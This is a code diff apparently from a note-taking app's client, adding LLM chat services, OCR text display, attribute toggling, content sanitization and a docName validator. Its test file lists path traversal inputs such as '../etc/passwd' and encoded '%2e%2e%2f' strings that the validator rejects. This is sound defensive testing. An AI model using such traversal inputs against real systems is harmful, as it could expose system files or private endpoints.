@@ -8,6 +8,17 @@ async function loadBootstrap() {
     }
 }
 
+// Polyfill removed jQuery methods for autocomplete.js compatibility
+($ as any).isArray = Array.isArray;
+($ as any).isFunction = function(obj: any) { return typeof obj === 'function'; };
+($ as any).isPlainObject = function(obj: any) {
+    if (obj == null || typeof obj !== 'object') { return false; }
+    const proto = Object.getPrototypeOf(obj);
+    if (proto === null) { return true; }
+    const Ctor = Object.prototype.hasOwnProperty.call(proto, 'constructor') && proto.constructor;
+    return typeof Ctor === 'function' && Ctor === Object;
+};
+
 (window as any).$ = $;
 (window as any).jQuery = $;
 await loadBootstrap();

apps/client/src/services/attributes.spec.ts

@@ -42,7 +42,7 @@ describe("Set boolean with inheritance", () => {
             name: "foo",
             value: "",
             isInheritable: false
-        });
+        }, undefined);
     });
 
     it("removes boolean normally without inheritance", async () => {
@@ -91,7 +91,7 @@ describe("Set boolean with inheritance", () => {
             name: "foo",
             value: "false",
             isInheritable: false
-        });
+        }, undefined);
     });
 
     it("overrides boolean with inherited false", async () => {
@@ -112,7 +112,7 @@ describe("Set boolean with inheritance", () => {
             name: "foo",
             value: "",
             isInheritable: false
-        });
+        }, undefined);
     });
 
     it("deletes override boolean with inherited false with already existing value", async () => {
@@ -134,6 +134,6 @@ describe("Set boolean with inheritance", () => {
             name: "foo",
             value: "",
             isInheritable: false
-        });
+        }, undefined);
     });
 });

apps/client/src/services/attributes.ts

@@ -14,13 +14,13 @@ async function addLabel(noteId: string, name: string, value: string = "", isInhe
     });
 }
 
-export async function setLabel(noteId: string, name: string, value: string = "", isInheritable = false) {
+export async function setLabel(noteId: string, name: string, value: string = "", isInheritable = false, componentId?: string) {
     await server.put(`notes/${noteId}/set-attribute`, {
         type: "label",
         name,
         value,
-        isInheritable
-    });
+        isInheritable,
+    }, componentId);
 }
 
 export async function setRelation(noteId: string, name: string, value: string = "", isInheritable = false) {
@@ -117,15 +117,15 @@ function removeOwnedRelationByName(note: FNote, relationName: string) {
  * @param name the name of the attribute to set.
  * @param value the value of the attribute to set.
  */
-export async function setAttribute(note: FNote, type: "label" | "relation", name: string, value: string | null | undefined) {
+export async function setAttribute(note: FNote, type: "label" | "relation", name: string, value: string | null | undefined, componentId?: string) {
     if (value !== null && value !== undefined) {
         // Create or update the attribute.
-        await server.put(`notes/${note.noteId}/set-attribute`, { type, name, value });
+        await server.put(`notes/${note.noteId}/set-attribute`, { type, name, value }, componentId);
     } else {
         // Remove the attribute if it exists on the server but we don't define a value for it.
         const attributeId = note.getAttribute(type, name)?.attributeId;
         if (attributeId) {
-            await server.remove(`notes/${note.noteId}/attributes/${attributeId}`);
+            await server.remove(`notes/${note.noteId}/attributes/${attributeId}`, componentId);
         }
     }
 }
@@ -168,6 +168,49 @@ function isAffecting(attrRow: AttributeRow, affectedNote: FNote | null | undefin
     return false;
 }
 
+/**
+ * Toggles whether a dangerous attribute is enabled or not. When an attribute is disabled, its name is prefixed with `disabled:`.
+ *
+ * Note that this work for non-dangerous attributes as well.
+ *
+ * If there are multiple attributes with the same name, all of them will be toggled at the same time.
+ *
+ * @param note the note whose attribute to change.
+ * @param type the type of dangerous attribute (label or relation).
+ * @param name the name of the dangerous attribute.
+ * @param willEnable whether to enable or disable the attribute.
+ * @returns a promise that will resolve when the request to the server completes.
+ */
+async function toggleDangerousAttribute(note: FNote, type: "label" | "relation", name: string, willEnable: boolean) {
+    const attrs = [
+        ...note.getOwnedAttributes(type, name),
+        ...note.getOwnedAttributes(type, `disabled:${name}`)
+    ];
+
+    for (const attr of attrs) {
+        const baseName = getNameWithoutDangerousPrefix(attr.name);
+        const newName = willEnable ? baseName : `disabled:${baseName}`;
+        if (newName === attr.name) continue;
+
+        // We are adding and removing afterwards to avoid a flicker (because for a moment there would be no active content attribute anymore) because the operations are done in sequence and not atomically.
+        if (attr.type === "label") {
+            await setLabel(note.noteId, newName, attr.value);
+        } else {
+            await setRelation(note.noteId, newName, attr.value);
+        }
+        await removeAttributeById(note.noteId, attr.attributeId);
+    }
+}
+
+/**
+ * Returns the name of an attribute without the `disabled:` prefix, or the same name if it's not disabled.
+ * @param name the name of an attribute.
+ * @returns the name without the `disabled:` prefix.
+ */
+function getNameWithoutDangerousPrefix(name: string) {
+    return name.startsWith("disabled:") ? name.substring(9) : name;
+}
+
 export default {
     addLabel,
     setLabel,
@@ -177,5 +220,7 @@ export default {
     removeAttributeById,
     removeOwnedLabelByName,
     removeOwnedRelationByName,
-    isAffecting
+    isAffecting,
+    toggleDangerousAttribute,
+    getNameWithoutDangerousPrefix
 };

apps/client/src/services/branches.ts

@@ -103,7 +103,7 @@ async function moveToParentNote(branchIdsToMove: string[], newParentBranchId: st
  * @param moveToParent whether to automatically go to the parent note path after a succesful delete. Usually makes sense if deleting the active note(s).
  * @returns promise that returns false if the operation was cancelled or there was nothing to delete, true if the operation succeeded.
  */
-async function deleteNotes(branchIdsToDelete: string[], forceDeleteAllClones = false, moveToParent = true) {
+async function deleteNotes(branchIdsToDelete: string[], forceDeleteAllClones = false, moveToParent = true, componentId?: string) {
     branchIdsToDelete = filterRootNote(branchIdsToDelete);
 
     if (branchIdsToDelete.length === 0) {
@@ -139,9 +139,9 @@ async function deleteNotes(branchIdsToDelete: string[], forceDeleteAllClones = f
         const branch = froca.getBranch(branchIdToDelete);
 
         if (deleteAllClones && branch) {
-            await server.remove(`notes/${branch.noteId}${query}`);
+            await server.remove(`notes/${branch.noteId}${query}`, componentId);
         } else {
-            await server.remove(`branches/${branchIdToDelete}${query}`);
+            await server.remove(`branches/${branchIdToDelete}${query}`, componentId);
         }
     }
 

apps/client/src/services/bundle.ts

@@ -2,7 +2,6 @@ import { h, VNode } from "preact";
 
 import BasicWidget, { ReactWrappedWidget } from "../widgets/basic_widget.js";
 import RightPanelWidget from "../widgets/right_panel_widget.js";
-import froca from "./froca.js";
 import type { Entity } from "./frontend_script_api.js";
 import { WidgetDefinitionWithType } from "./frontend_script_api_preact.js";
 import { t } from "./i18n.js";
@@ -38,15 +37,18 @@ async function getAndExecuteBundle(noteId: string, originEntity = null, script =
 
 export type ParentName = "left-pane" | "center-pane" | "note-detail-pane" | "right-pane";
 
-export async function executeBundle(bundle: Bundle, originEntity?: Entity | null, $container?: JQuery<HTMLElement>) {
+export async function executeBundleWithoutErrorHandling(bundle: Bundle, originEntity?: Entity | null, $container?: JQuery<HTMLElement>) {
     const apiContext = await ScriptContext(bundle.noteId, bundle.allNoteIds, originEntity, $container);
+    return await function () {
+        return eval(`const apiContext = this; (async function() { ${bundle.script}\r\n})()`);
+    }.call(apiContext);
+}
 
+export async function executeBundle(bundle: Bundle, originEntity?: Entity | null, $container?: JQuery<HTMLElement>) {
     try {
-        return await function () {
-            return eval(`const apiContext = this; (async function() { ${bundle.script}\r\n})()`);
-        }.call(apiContext);
-    } catch (e: any) {
-        showErrorForScriptNote(bundle.noteId, t("toast.bundle-error.message", { message: e.message }));
+        return await executeBundleWithoutErrorHandling(bundle, originEntity, $container);
+    } catch (e: unknown) {
+        showErrorForScriptNote(bundle.noteId, t("toast.bundle-error.message", { message: getErrorMessage(e) }));
         logError("Widget initialization failed: ", e);
     }
 }

apps/client/src/services/content_renderer.css

@@ -0,0 +1,9 @@
+.rendered-content.no-preview > div {
+    display: flex;
+    flex-direction: column;
+    justify-content: space-around;
+    align-items: center;
+    height: 100%;
+    font-size: 500%;
+    flex-grow: 1;
+}

apps/client/src/services/content_renderer.ts

@@ -1,4 +1,7 @@
-import { normalizeMimeTypeForCKEditor } from "@triliumnext/commons";
+import "./content_renderer.css";
+
+import { normalizeMimeTypeForCKEditor, type TextRepresentationResponse } from "@triliumnext/commons";
+import { h, render } from "preact";
 import WheelZoom from 'vanilla-js-wheel-zoom';
 
 import FAttachment from "../entities/fattachment.js";
@@ -12,8 +15,9 @@ import openService from "./open.js";
 import protectedSessionService from "./protected_session.js";
 import protectedSessionHolder from "./protected_session_holder.js";
 import renderService from "./render.js";
+import server from "./server.js";
 import { applySingleBlockSyntaxHighlight } from "./syntax_highlight.js";
-import utils from "./utils.js";
+import utils, { getErrorMessage } from "./utils.js";
 
 let idCounter = 1;
 
@@ -29,6 +33,7 @@ export interface RenderOptions {
     includeArchivedNotes?: boolean;
     /** Set of note IDs that have already been seen during rendering to prevent infinite recursion. */
     seenNoteIds?: Set<string>;
+    showTextRepresentation?: boolean;
 }
 
 const CODE_MIME_TYPES = new Set(["application/json"]);
@@ -51,16 +56,19 @@ export async function getRenderedContent(this: {} | { ctx: string }, entity: FNo
         await renderText(entity, $renderedContent, options);
     } else if (type === "code") {
         await renderCode(entity, $renderedContent);
-    } else if (["image", "canvas", "mindMap"].includes(type)) {
-        renderImage(entity, $renderedContent, options);
+    } else if (["image", "canvas", "mindMap", "spreadsheet"].includes(type)) {
+        await renderImage(entity, $renderedContent, options);
     } else if (!options.tooltip && ["file", "pdf", "audio", "video"].includes(type)) {
-        renderFile(entity, type, $renderedContent);
+        await renderFile(entity, type, $renderedContent, options);
     } else if (type === "mermaid") {
         await renderMermaid(entity, $renderedContent);
     } else if (type === "render" && entity instanceof FNote) {
         const $content = $("<div>");
 
-        await renderService.render(entity, $content);
+        await renderService.render(entity, $content, (e) => {
+            const $error = $("<div>").addClass("admonition caution").text(typeof e === "string" ? e : getErrorMessage(e));
+            $content.empty().append($error);
+        });
 
         $renderedContent.append($content);
     } else if (type === "doc" && "noteId" in entity) {
@@ -71,18 +79,9 @@ export async function getRenderedContent(this: {} | { ctx: string }, entity: FNo
 
         $renderedContent.append($("<div>").append("<div>This note is protected and to access it you need to enter password.</div>").append("<br/>").append($button));
     } else if (entity instanceof FNote) {
-        $renderedContent
-            .css("display", "flex")
-            .css("flex-direction", "column");
+        $renderedContent.addClass("no-preview");
         $renderedContent.append(
-            $("<div>")
-                .css("display", "flex")
-                .css("justify-content", "space-around")
-                .css("align-items", "center")
-                .css("height", "100%")
-                .css("font-size", "500%")
-                .css("flex-grow", "1")
-                .append($("<span>").addClass(entity.getIcon()))
+            $("<div>").append($("<span>").addClass(entity.getIcon()))
         );
 
         if (entity.type === "webView" && entity.hasLabel("webViewSrc")) {
@@ -141,7 +140,7 @@ async function renderCode(note: FNote | FAttachment, $renderedContent: JQuery<HT
     await applySingleBlockSyntaxHighlight($codeBlock, normalizeMimeTypeForCKEditor(note.mime));
 }
 
-function renderImage(entity: FNote | FAttachment, $renderedContent: JQuery<HTMLElement>, options: RenderOptions = {}) {
+async function renderImage(entity: FNote | FAttachment, $renderedContent: JQuery<HTMLElement>, options: RenderOptions = {}) {
     const encodedTitle = encodeURIComponent(entity.title);
 
     let url;
@@ -149,13 +148,14 @@ function renderImage(entity: FNote | FAttachment, $renderedContent: JQuery<HTMLE
     if (entity instanceof FNote) {
         url = `api/images/${entity.noteId}/${encodedTitle}?${Math.random()}`;
     } else if (entity instanceof FAttachment) {
-        url = `api/attachments/${entity.attachmentId}/image/${encodedTitle}?${entity.utcDateModified}">`;
+        url = `api/attachments/${entity.attachmentId}/image/${encodedTitle}?${entity.utcDateModified}`;
     }
 
     $renderedContent // styles needed for the zoom to work well
         .css("display", "flex")
         .css("align-items", "center")
-        .css("justify-content", "center");
+        .css("justify-content", "center")
+        .css("flex-direction", "column");   // OCR text is displayed below the image.
 
     const $img = $("<img>")
         .attr("src", url || "")
@@ -181,9 +181,35 @@ function renderImage(entity: FNote | FAttachment, $renderedContent: JQuery<HTMLE
     }
 
     imageContextMenuService.setupContextMenu($img);
+
+    if (entity instanceof FNote && options.showTextRepresentation) {
+        await addOCRTextIfAvailable(entity, $renderedContent);
+    }
 }
 
-function renderFile(entity: FNote | FAttachment, type: string, $renderedContent: JQuery<HTMLElement>) {
+async function addOCRTextIfAvailable(note: FNote, $content: JQuery<HTMLElement>) {
+    try {
+        const data = await server.get<TextRepresentationResponse>(`ocr/notes/${note.noteId}/text`);
+        if (data.success && data.hasOcr && data.text) {
+            const $ocrSection = $(`
+                <div class="ocr-text-section">
+                    <div class="ocr-header">
+                        <span class="bx bx-text"></span> ${t("ocr.extracted_text")}
+                    </div>
+                    <div class="ocr-content"></div>
+                </div>
+            `);
+
+            $ocrSection.find('.ocr-content').text(data.text);
+            $content.append($ocrSection);
+        }
+    } catch (error) {
+        // Silently fail if OCR API is not available
+        console.debug('Failed to fetch OCR text:', error);
+    }
+}
+
+async function renderFile(entity: FNote | FAttachment, type: string, $renderedContent: JQuery<HTMLElement>, options: RenderOptions = {}) {
     let entityType, entityId;
 
     if (entity instanceof FNote) {
@@ -196,13 +222,17 @@ function renderFile(entity: FNote | FAttachment, type: string, $renderedContent:
         throw new Error(`Can't recognize entity type of '${entity}'`);
     }
 
-    const $content = $('<div style="display: flex; flex-direction: column; height: 100%;">');
+    const $content = $('<div style="display: flex; flex-direction: column; height: 100%; justify-content: end;">');
 
     if (type === "pdf") {
-        const $pdfPreview = $('<iframe class="pdf-preview" style="width: 100%; flex-grow: 100;"></iframe>');
-        $pdfPreview.attr("src", openService.getUrlForDownload(`pdfjs/web/viewer.html?file=../../api/${entityType}/${entityId}/open`));
+        const url = `../../api/${entityType}/${entityId}/open`;
+        const $viewer = $(`<div style="height: 100%">`);
+        const PdfViewer = (await import("../widgets/type_widgets/file/PdfViewer")).default;
+        render(h(PdfViewer, {pdfUrl: url, editable: false}), $viewer.get(0)!);
+
+        $content.append($viewer);
+
 
-        $content.append($pdfPreview);
     } else if (type === "audio") {
         const $audioPreview = $("<audio controls></audio>")
             .attr("src", openService.getUrlForDownload(`api/${entityType}/${entityId}/open-partial`))
@@ -219,6 +249,10 @@ function renderFile(entity: FNote | FAttachment, type: string, $renderedContent:
         $content.append($videoPreview);
     }
 
+    if (entity instanceof FNote && options.showTextRepresentation) {
+        await addOCRTextIfAvailable(entity, $content);
+    }
+
     if (entityType === "notes" && "noteId" in entity) {
         // TODO: we should make this available also for attachments, but there's a problem with "Open externally" support
         //       in attachment list
@@ -292,10 +326,11 @@ function getRenderingType(entity: FNote | FAttachment) {
     }
 
     const mime = "mime" in entity && entity.mime;
+    const isIconPack = entity instanceof FNote && entity.hasLabel("iconPack");
 
     if (type === "file" && mime === "application/pdf") {
         type = "pdf";
-    } else if ((type === "file" || type === "viewConfig") && mime && CODE_MIME_TYPES.has(mime)) {
+    } else if ((type === "file" || type === "viewConfig") && mime && CODE_MIME_TYPES.has(mime) && !isIconPack) {
         type = "code";
     } else if (type === "file" && mime && mime.startsWith("audio/")) {
         type = "audio";

apps/client/src/services/content_renderer_text.ts

@@ -5,6 +5,7 @@ import froca from "./froca.js";
 import link from "./link.js";
 import { renderMathInElement } from "./math.js";
 import { getMermaidConfig } from "./mermaid.js";
+import { sanitizeNoteContentHtml } from "./sanitize_content.js";
 import { formatCodeBlocks } from "./syntax_highlight.js";
 import tree from "./tree.js";
 import { isHtmlEmpty } from "./utils.js";
@@ -14,7 +15,7 @@ export default async function renderText(note: FNote | FAttachment, $renderedCon
     const blob = await note.getBlob();
 
     if (blob && !isHtmlEmpty(blob.content)) {
-        $renderedContent.append($('<div class="ck-content">').html(blob.content));
+        $renderedContent.append($('<div class="ck-content">').html(sanitizeNoteContentHtml(blob.content)));
 
         const seenNoteIds = options.seenNoteIds ?? new Set<string>();
         seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);
@@ -120,7 +121,6 @@ async function renderChildrenList($renderedContent: JQuery<HTMLElement>, note: F
         return;
     }
 
-    $renderedContent.css("padding", "10px");
     $renderedContent.addClass("text-with-ellipsis");
 
     // just load the first 10 child notes

apps/client/src/services/css_class_manager.ts

@@ -49,7 +49,7 @@ function createClassForColor(colorString: string | null) {
     return clsx("use-note-color", className, colorsWithHue.has(className) && "with-hue");
 }
 
-function parseColor(color: string) {
+export function parseColor(color: string) {
     try {
         return Color(color.toLowerCase());
     } catch (ex) {
@@ -77,7 +77,7 @@ function adjustColorLightness(color: ColorInstance, lightThemeMaxLightness: numb
 }
 
 /** Returns the hue of the specified color, or undefined if the color is grayscale. */
-function getHue(color: ColorInstance) {
+export function getHue(color: ColorInstance) {
     const hslColor = color.hsl();
     if (hslColor.saturationl() > 0) {
         return hslColor.hue();

apps/client/src/services/date_notes.ts

@@ -1,4 +1,5 @@
 import { dayjs } from "@triliumnext/commons";
+
 import type { FNoteRow } from "../entities/fnote.js";
 import froca from "./froca.js";
 import server from "./server.js";
@@ -14,8 +15,13 @@ async function getTodayNote() {
     return await getDayNote(dayjs().format("YYYY-MM-DD"));
 }
 
-async function getDayNote(date: string) {
-    const note = await server.get<FNoteRow>(`special-notes/days/${date}`, "date-note");
+async function getDayNote(date: string, calendarRootId?: string) {
+    let url = `special-notes/days/${date}`;
+    if (calendarRootId) {
+        url += `?calendarRootId=${calendarRootId}`;
+    }
+
+    const note = await server.get<FNoteRow>(url, "date-note");
 
     await ws.waitForMaxKnownEntityChangeId();
 
@@ -78,6 +84,55 @@ async function createSearchNote(opts = {}) {
     return await froca.getNote(note.noteId);
 }
 
+async function createLlmChat() {
+    const note = await server.post<FNoteRow>("special-notes/llm-chat");
+
+    await ws.waitForMaxKnownEntityChangeId();
+
+    return await froca.getNote(note.noteId);
+}
+
+/**
+ * Gets the most recently modified LLM chat.
+ * Returns null if no chat exists.
+ */
+async function getMostRecentLlmChat() {
+    const note = await server.get<FNoteRow | null>("special-notes/most-recent-llm-chat");
+
+    if (!note) {
+        return null;
+    }
+
+    await ws.waitForMaxKnownEntityChangeId();
+
+    return await froca.getNote(note.noteId);
+}
+
+/**
+ * Gets the most recent LLM chat, or creates a new one if none exists.
+ * Used by sidebar chat for persistent conversations across page refreshes.
+ */
+async function getOrCreateLlmChat() {
+    const note = await server.get<FNoteRow>("special-notes/get-or-create-llm-chat");
+
+    await ws.waitForMaxKnownEntityChangeId();
+
+    return await froca.getNote(note.noteId);
+}
+
+export interface RecentLlmChat {
+    noteId: string;
+    title: string;
+    dateModified: string;
+}
+
+/**
+ * Gets a list of recent LLM chats for the history popup.
+ */
+async function getRecentLlmChats(limit: number = 10): Promise<RecentLlmChat[]> {
+    return await server.get<RecentLlmChat[]>(`special-notes/recent-llm-chats?limit=${limit}`);
+}
+
 export default {
     getInboxNote,
     getTodayNote,
@@ -88,5 +143,9 @@ export default {
     getMonthNote,
     getYearNote,
     createSqlConsole,
-    createSearchNote
+    createSearchNote,
+    createLlmChat,
+    getMostRecentLlmChat,
+    getOrCreateLlmChat,
+    getRecentLlmChats
 };

apps/client/src/services/doc_renderer.spec.ts

@@ -0,0 +1,30 @@
+import { describe, expect, it } from "vitest";
+
+import { isValidDocName } from "./doc_renderer.js";
+
+describe("isValidDocName", () => {
+    it("accepts valid docNames", () => {
+        expect(isValidDocName("launchbar_intro")).toBe(true);
+        expect(isValidDocName("User Guide/Quick Start")).toBe(true);
+        expect(isValidDocName("User Guide/User Guide/Quick Start")).toBe(true);
+        expect(isValidDocName("Quick Start Guide")).toBe(true);
+        expect(isValidDocName("quick_start_guide")).toBe(true);
+        expect(isValidDocName("quick-start-guide")).toBe(true);
+    });
+
+    it("rejects path traversal attacks", () => {
+        expect(isValidDocName("..")).toBe(false);
+        expect(isValidDocName("../etc/passwd")).toBe(false);
+        expect(isValidDocName("foo/../bar")).toBe(false);
+        expect(isValidDocName("../../../../api/notes/_malicious/open")).toBe(false);
+        expect(isValidDocName("..\\etc\\passwd")).toBe(false);
+        expect(isValidDocName("foo\\bar")).toBe(false);
+    });
+
+    it("rejects URL manipulation attacks", () => {
+        expect(isValidDocName("../../../../api/notes/_malicious/open?x=")).toBe(false);
+        expect(isValidDocName("foo#bar")).toBe(false);
+        expect(isValidDocName("%2e%2e")).toBe(false);
+        expect(isValidDocName("%2e%2e%2f%2e%2e%2fapi")).toBe(false);
+    });
+});

apps/client/src/services/doc_renderer.ts

@@ -3,22 +3,39 @@ import { applyReferenceLinks } from "../widgets/type_widgets/text/read_only_help
 import { getCurrentLanguage } from "./i18n.js";
 import { formatCodeBlocks } from "./syntax_highlight.js";
 
+/**
+ * Validates a docName to prevent path traversal attacks.
+ * Allows forward slashes for subdirectories (e.g., "User Guide/Quick Start")
+ * but blocks traversal sequences and URL manipulation characters.
+ */
+export function isValidDocName(docName: string): boolean {
+    // Allow alphanumeric characters, spaces, underscores, hyphens, and forward slashes.
+    const validDocNameRegex = /^[a-zA-Z0-9_/\- ]+$/;
+    return validDocNameRegex.test(docName);
+}
+
 export default function renderDoc(note: FNote) {
     return new Promise<JQuery<HTMLElement>>((resolve) => {
-        let docName = note.getLabelValue("docName");
+        const docName = note.getLabelValue("docName");
         const $content = $("<div>");
 
-        if (docName) {
-            // find doc based on language
-            const url = getUrl(docName, getCurrentLanguage());
+        // find doc based on language
+        const url = getUrl(docName, getCurrentLanguage());
+
+        if (url) {
             $content.load(url, async (response, status) => {
                 // fallback to english doc if no translation available
                 if (status === "error") {
                     const fallbackUrl = getUrl(docName, "en");
-                    $content.load(fallbackUrl, async () => {
-                        await processContent(fallbackUrl, $content)
+
+                    if (fallbackUrl) {
+                        $content.load(fallbackUrl, async () => {
+                            await processContent(fallbackUrl, $content);
+                            resolve($content);
+                        });
+                    } else {
                         resolve($content);
-                    });
+                    }
                     return;
                 }
 
@@ -28,8 +45,6 @@ export default function renderDoc(note: FNote) {
         } else {
             resolve($content);
         }
-
-        return $content;
     });
 }
 
@@ -39,7 +54,7 @@ async function processContent(url: string, $content: JQuery<HTMLElement>) {
     // Images are relative to the docnote but that will not work when rendered in the application since the path breaks.
     $content.find("img").each((i, el) => {
         const $img = $(el);
-        $img.attr("src", dir + "/" + $img.attr("src"));
+        $img.attr("src", `${dir}/${$img.attr("src")}`);
     });
 
     formatCodeBlocks($content);
@@ -48,10 +63,17 @@ async function processContent(url: string, $content: JQuery<HTMLElement>) {
     await applyReferenceLinks($content[0]);
 }
 
-function getUrl(docNameValue: string, language: string) {
+function getUrl(docNameValue: string | null, language: string) {
+    if (!docNameValue) return;
+
+    if (!isValidDocName(docNameValue)) {
+        console.error(`Invalid docName: ${docNameValue}`);
+        return null;
+    }
+
     // Cannot have spaces in the URL due to how JQuery.load works.
     docNameValue = docNameValue.replaceAll(" ", "%20");
 
-    const basePath = window.glob.isDev ? window.glob.assetPath + "/.." : window.glob.assetPath;
+    const basePath = window.glob.isDev ? `${window.glob.assetPath  }/..` : window.glob.assetPath;
     return `${basePath}/doc_notes/${language}/${docNameValue}.html`;
 }

apps/client/src/services/experimental_features.ts

@@ -1,5 +1,6 @@
 import { t } from "./i18n";
 import options from "./options";
+import { isMobile } from "./utils";
 
 export interface ExperimentalFeature {
     id: string;
@@ -12,6 +13,11 @@ export const experimentalFeatures = [
         id: "new-layout",
         name: t("experimental_features.new_layout_name"),
         description: t("experimental_features.new_layout_description"),
+    },
+    {
+        id: "llm",
+        name: t("experimental_features.llm_name"),
+        description: t("experimental_features.llm_description"),
     }
 ] as const satisfies ExperimentalFeature[];
 
@@ -21,7 +27,7 @@ let enabledFeatures: Set<ExperimentalFeatureId> | null = null;
 
 export function isExperimentalFeatureEnabled(featureId: ExperimentalFeatureId): boolean {
     if (featureId === "new-layout") {
-        return options.is("newLayout");
+        return (isMobile() || options.is("newLayout"));
     }
 
     return getEnabledFeatures().has(featureId);
@@ -29,7 +35,7 @@ export function isExperimentalFeatureEnabled(featureId: ExperimentalFeatureId):
 
 export function getEnabledExperimentalFeatureIds() {
     const values = [ ...getEnabledFeatures().values() ];
-    if (options.is("newLayout")) {
+    if (isMobile() || options.is("newLayout")) {
         values.push("new-layout");
     }
     return values;

apps/client/src/services/froca_updater.ts

@@ -27,6 +27,10 @@ async function processEntityChanges(entityChanges: EntityChange[]) {
                 loadResults.addRevision(ec.entityId, ec.noteId, ec.componentId);
             } else if (ec.entityName === "options") {
                 const attributeEntity = ec.entity as FAttributeRow;
+                if (attributeEntity.name === "openNoteContexts") {
+                    continue; // only noise
+                }
+
                 options.set(attributeEntity.name as OptionNames, attributeEntity.value);
                 loadResults.addOption(attributeEntity.name as OptionNames);
             } else if (ec.entityName === "attachments") {
@@ -106,7 +110,12 @@ function processNoteChange(loadResults: LoadResults, ec: EntityChange) {
                 }
             }
 
-            if (ec.componentId) {
+            // Only register as a content change if the protection status didn't change.
+            // When isProtected changes, the blobId change is a side effect of re-encryption,
+            // not a content edit. Registering it as content would cause the tree's content-only
+            // filter to incorrectly skip the note update (since both changes share the same
+            // componentId).
+            if (ec.componentId && note.isProtected === (ec.entity as FNoteRow).isProtected) {
                 loadResults.addNoteContent(note.noteId, ec.componentId);
             }
         }

apps/client/src/services/in_app_help.ts

@@ -1,4 +1,5 @@
 import { NoteType } from "@triliumnext/commons";
+
 import FNote from "../entities/fnote";
 import { ViewTypeOptions } from "../widgets/collections/interface";
 
@@ -18,7 +19,8 @@ export const byNoteType: Record<Exclude<NoteType, "book">, string | null> = {
     search: null,
     text: null,
     webView: null,
-    aiChat: null
+    spreadsheet: null,
+    llmChat: null
 };
 
 export const byBookType: Record<ViewTypeOptions, string | null> = {
@@ -39,6 +41,6 @@ export function getHelpUrlForNote(note: FNote | null | undefined) {
     } else if (note?.hasLabel("textSnippet")) {
         return "pwc194wlRzcH";
     } else if (note && note.type === "book") {
-        return byBookType[note.getAttributeValue("label", "viewType") as ViewTypeOptions ?? ""]
+        return byBookType[note.getAttributeValue("label", "viewType") as ViewTypeOptions ?? ""];
     }
 }

apps/client/src/services/link.ts

@@ -28,7 +28,7 @@ async function getLinkIcon(noteId: string, viewMode: ViewMode | undefined) {
     return icon;
 }
 
-export type ViewMode = "default" | "source" | "attachments" | "contextual-help" | "note-map";
+export type ViewMode = "default" | "source" | "attachments" | "contextual-help" | "note-map" | "ocr";
 
 export interface ViewScope {
     /**

apps/client/src/services/llm_chat.ts

@@ -0,0 +1,114 @@
+import type { LlmChatConfig, LlmCitation, LlmMessage, LlmModelInfo,LlmUsage } from "@triliumnext/commons";
+
+import server from "./server.js";
+
+/**
+ * Fetch available models from all configured providers.
+ */
+export async function getAvailableModels(): Promise<LlmModelInfo[]> {
+    const response = await server.get<{ models?: LlmModelInfo[] }>("llm-chat/models");
+    return response.models ?? [];
+}
+
+export interface StreamCallbacks {
+    onChunk: (text: string) => void;
+    onThinking?: (text: string) => void;
+    onToolUse?: (toolName: string, input: Record<string, unknown>) => void;
+    onToolResult?: (toolName: string, result: string, isError?: boolean) => void;
+    onCitation?: (citation: LlmCitation) => void;
+    onUsage?: (usage: LlmUsage) => void;
+    onError: (error: string) => void;
+    onDone: () => void;
+}
+
+/**
+ * Stream a chat completion from the LLM API using Server-Sent Events.
+ */
+export async function streamChatCompletion(
+    messages: LlmMessage[],
+    config: LlmChatConfig,
+    callbacks: StreamCallbacks
+): Promise<void> {
+    const headers = await server.getHeaders();
+
+    const response = await fetch(`${window.glob.baseApiUrl}llm-chat/stream`, {
+        method: "POST",
+        headers: {
+            ...headers,
+            "Content-Type": "application/json"
+        } as HeadersInit,
+        body: JSON.stringify({ messages, config })
+    });
+
+    if (!response.ok) {
+        callbacks.onError(`HTTP ${response.status}: ${response.statusText}`);
+        return;
+    }
+
+    const reader = response.body?.getReader();
+    if (!reader) {
+        callbacks.onError("No response body");
+        return;
+    }
+
+    const decoder = new TextDecoder();
+    let buffer = "";
+
+    try {
+        while (true) {
+            const { done, value } = await reader.read();
+            if (done) break;
+
+            buffer += decoder.decode(value, { stream: true });
+            const lines = buffer.split("\n");
+            buffer = lines.pop() || "";
+
+            for (const line of lines) {
+                if (line.startsWith("data: ")) {
+                    try {
+                        const data = JSON.parse(line.slice(6));
+
+                        switch (data.type) {
+                            case "text":
+                                callbacks.onChunk(data.content);
+                                break;
+                            case "thinking":
+                                callbacks.onThinking?.(data.content);
+                                break;
+                            case "tool_use":
+                                callbacks.onToolUse?.(data.toolName, data.toolInput);
+                                // Yield to force Preact to commit the pending tool call
+                                // state before we process the result.
+                                await new Promise((r) => setTimeout(r, 1));
+                                break;
+                            case "tool_result":
+                                callbacks.onToolResult?.(data.toolName, data.result, data.isError);
+                                await new Promise((r) => setTimeout(r, 1));
+                                break;
+                            case "citation":
+                                if (data.citation) {
+                                    callbacks.onCitation?.(data.citation);
+                                }
+                                break;
+                            case "usage":
+                                if (data.usage) {
+                                    callbacks.onUsage?.(data.usage);
+                                }
+                                break;
+                            case "error":
+                                callbacks.onError(data.error);
+                                break;
+                            case "done":
+                                callbacks.onDone();
+                                break;
+                        }
+                    } catch (e) {
+                        console.error("Failed to parse SSE data line:", line, e);
+                    }
+                }
+            }
+        }
+    } finally {
+        reader.releaseLock();
+    }
+}

apps/client/src/services/note_create.ts

@@ -1,15 +1,17 @@
+import type { CKTextEditor } from "@triliumnext/ckeditor5";
+import { AttributeRow } from "@triliumnext/commons";
+
 import appContext from "../components/app_context.js";
+import type FBranch from "../entities/fbranch.js";
+import type FNote from "../entities/fnote.js";
+import type { ChooseNoteTypeResponse } from "../widgets/dialogs/note_type_chooser.js";
+import froca from "./froca.js";
+import { t } from "./i18n.js";
 import protectedSessionHolder from "./protected_session_holder.js";
 import server from "./server.js";
-import ws from "./ws.js";
-import froca from "./froca.js";
-import treeService from "./tree.js";
 import toastService from "./toast.js";
-import { t } from "./i18n.js";
-import type FNote from "../entities/fnote.js";
-import type FBranch from "../entities/fbranch.js";
-import type { ChooseNoteTypeResponse } from "../widgets/dialogs/note_type_chooser.js";
-import type { CKTextEditor } from "@triliumnext/ckeditor5";
+import treeService from "./tree.js";
+import ws from "./ws.js";
 
 export interface CreateNoteOpts {
     isProtected?: boolean;
@@ -24,6 +26,8 @@ export interface CreateNoteOpts {
     target?: string;
     targetBranchId?: string;
     textEditor?: CKTextEditor;
+    /** Attributes to be set on the note. These are set atomically on note creation, so entity changes are not sent for attributes defined here. */
+    attributes?: Omit<AttributeRow, "noteId" | "attributeId">[];
 }
 
 interface Response {
